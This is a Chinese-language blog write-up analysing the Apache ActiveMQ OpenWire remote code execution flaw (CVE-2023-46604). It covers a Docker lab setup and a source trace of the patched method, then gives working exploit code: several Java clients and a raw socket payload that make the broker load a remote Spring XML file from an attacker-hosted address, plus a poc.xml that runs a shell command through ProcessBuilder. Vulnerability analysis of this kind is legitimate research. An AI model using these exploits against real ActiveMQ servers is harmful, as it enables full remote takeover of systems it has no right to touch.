Apache ActiveMQ RCE CNVD-2023-69477 CVE-2023-46604

漏洞简介

Apache ActiveMQ官方发布新版本,修复了一个远程代码执行漏洞,攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。

影响版本

复制代码
Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

环境搭建

没有找到合适的 docker 镜像 ,尝试自己进行编写

可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的dockerfile

复制代码
docker pull islandora/activemq:2.0.7
dfimage islandora/activemq:2.0.7

结合 https://activemq.apache.org/version-5-getting-started

Dockerfile

复制代码
FROM ubuntu
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y
RUN apt-get install wget -y
RUN apt install openjdk-11-jre-headless -y
COPY apache-activemq-5.18.2-bin.tar.gz  /
#RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz 
RUN chmod 755 /apache-activemq-5.18.2/bin/activemq
RUN echo  '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh
RUN chmod +x start.sh
EXPOSE 8161 61616

CMD ["/start.sh"]


## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml 

docker-compose.yml

复制代码
version: "2.2"
services:
  activemq:
    build: .
    ports:
      - "8161:8161"
      - "61616:61616"
复制代码
./activemq start
./activemq status
./activemq console
netstat -tuln | grep 8161
netstat -tuln | grep 61616

漏洞分析

下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip

开启调试只需要修改 apache-activemq-5.18.2\bin\activemq

https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3

新版本的修复位置是在

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable

ClassName 和 message 可控,代表着可以调用任意类的 String 构造方法,AvtiveMQ 内置 Spring,结合 org.springframework.context.support.ClassPathXmlApplicationContext 加载远程配置文件实现 SPEL 表达式注入。

寻找调用该方法的位置

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable

继续向上寻找调用

image

网上大部分都选用了 ExceptionResponseMarshaller 我们也基于此进行分析

org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal

继续向上寻找调用

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal

我们看到此时 dsm 的值是基于传入的 dis.readByte();

image

复制代码
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>

ActiveMQ中默认的消息协议就是openwire

编写一个 ActiveMQ 的通信请求

复制代码
 public static void sendToActiveMQ() throws Exception {
        /*
         * 创建连接工厂,由 ActiveMQ 实现。构造方法参数
         * userName 用户名
         * password 密码
         * brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号
         */
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");
        //创建连接对象
        Connection connection = connectionFactory.createConnection();
        //启动连接
        connection.start();
        /*
         * 创建会话,参数含义:
         * 1.transacted - 是否使用事务
         * 2.acknowledgeMode - 消息确认机制,可选机制为:
         *  1)Session.AUTO_ACKNOWLEDGE - 自动确认消息
         *  2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制
         *  3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制
         */
        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        //创建目的地,也就是队列名
        Destination destination = session.createQueue("q_test");
        //创建消息生成者,该生成者与目的地绑定
        MessageProducer mProducer = session.createProducer(destination);
        //创建消息
        Message message = session.createTextMessage("Hello, ActiveMQ");
        //发送消息
        mProducer.send(message);
        connection.close();
    }

前面的调用栈为

复制代码
doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:829, Thread (java.lang)

此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller

花式触发 ExceptionResponseMarshaller

现在我们的目的就是为了去调用 ExceptionResponseMarshaller

寻找触发 ActiveMQ 中的 ExceptionResponse

函数 org.apache.activemq.ActiveMQSession#asyncSendPacket

函数 org.apache.activemq.ActiveMQSession#syncSendPacket 都可以发送 command

最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);来触发

复制代码
    public static void ExceptionResponseExploit() throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
        Connection connection = connectionFactory.createConnection("admin","admin");
        connection.start();
        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        ExceptionResponse expetionResponse = new ExceptionResponse();
        expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
        ExploitSession.syncSendPacket(expetionResponse);
        //ExploitSession.asyncSendPacket(expetionResponse);
        //((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);
        //((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);
        connection.close();

    }

由于 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。添加如下代码

复制代码
package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
    public ClassPathXmlApplicationContext(String message) {
        super(message);
    }
}

相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller

复制代码
   public static void ConnectionErrorExploit() throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
        Connection connection = connectionFactory.createConnection("admin","admin");
        connection.start();
        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        ConnectionError connectionError = new ConnectionError();
        connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
        //ExploitSession.syncSendPacket(connectionError);
        //ExploitSession.asyncSendPacket(connectionError);
        ((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);
        connection.close();

    }

复制代码
    public static void MessageAckExploit() throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
        Connection connection = connectionFactory.createConnection("admin","admin");
        connection.start();
        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        MessageAck messageAck  = new MessageAck();
        messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
        ExploitSession.syncSendPacket(messageAck);
        //ExploitSession.asyncSendPacket(messageAck);
        //((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);
        connection.close();

    }

通过数据流进行触发 ExceptionResponseMarshaller

主要是依据 ActiveMQ的协议 去触发 ExceptionResponseMarshaller

复制代码
        String ip = "127.0.0.1";
        int port = 61616;
        String pocxml= "http://192.168.184.1:9090/poc.xml";
        Socket sck = new Socket(ip, port);
        OutputStream os = sck.getOutputStream();
        DataOutputStream out = new DataOutputStream(os);
        out.writeInt(0); //
        out.writeByte(31); //dataType ExceptionResponseMarshaller
        out.writeInt(1); //CommandId
        out.writeBoolean(true); //ResponseRequired
        out.writeInt(1); //CorrelationId
        out.writeBoolean(true);
        //use true -> red utf-8 string
        out.writeBoolean(true);
        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
        //use true -> red utf-8 string
        out.writeBoolean(true);
        out.writeUTF(pocxml);
        //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce
        out.close();
        os.close();
        sck.close();

通过伪造类实现触发 ExceptionResponse

我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand

利用 wireFormat.unmarshal 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal

org.apache.activemq.transport.tcp.TcpTransport#oneway

通过本地新建 org.apache.activemq.transport.tcp.TcpTransport 类重写对应逻辑,运行时优先触发本地的 TcpTransport 类

复制代码
 /**
     * A one way asynchronous send
     */
    @Override
    public void oneway(Object command) throws IOException {
        checkStarted();
        Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");
        ExceptionResponse response = new ExceptionResponse(obj);
        wireFormat.marshal(response, dataOut);
        dataOut.flush();
    }

将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ,同样也因为 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。必须添加如下代码

复制代码
package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
    public ClassPathXmlApplicationContext(String message) {
        super(message);
    }
}

poc.xml

复制代码
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>touch</value>
                <value>/tmp/1.txt</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

漏洞复现

相关推荐
sbjdhjd21 分钟前
CTF 技术复盘:从参数类型绕过到正则回溯 | Merry Christmas PHP CTF(gift.php & gift_plus.php)
安全·网络安全·云计算·php·ctf·红队·网络攻防
垂钓的小鱼13 小时前
用关联图谱做量化选股:让基本面惊喜沿着网络扩散
服务器·php·apache
Chengbei1110 小时前
DSH渗透测试插件dsh-pentest全新升级!适配DeepSeek Harness,可视化探索链路,一键搭建轻量化AI渗透测试环境。
人工智能·web安全·网络安全·微信·小程序·系统安全·安全架构
深维AI随笔15 小时前
《构建之法》| 第二章个人技术和流程:单元测试不是“可选“,而是“必需“
单元测试·log4j·apache
Latticy17 小时前
vulnhub系列靶机-mrRobot
web安全·网络安全·渗透测试
白猫不黑20 小时前
网络安全/信息安全专业学习路线与入行指南:从大学到岗位的完整规划
网络·学习·安全·web安全·网络安全·黑客技术
极客灵风21 小时前
免费约课小程序免费约课系统的区别,一文看懂怎么选
apache
xierui12312321 小时前
AI Agent 隐私架构:本地化重点为什么是登录态与执行权限
java·人工智能·网络安全·架构
xixiaoyunya21 小时前
中小微企业轻量组网方案的技术选型与实践:从传统专线到软定义隧道的成本与效能分析
服务器·php·apache
SelectDB技术团队1 天前
四川航空湖仓一体:基于 SelectDB / Apache Doris 的多源数据联邦分析实践
apache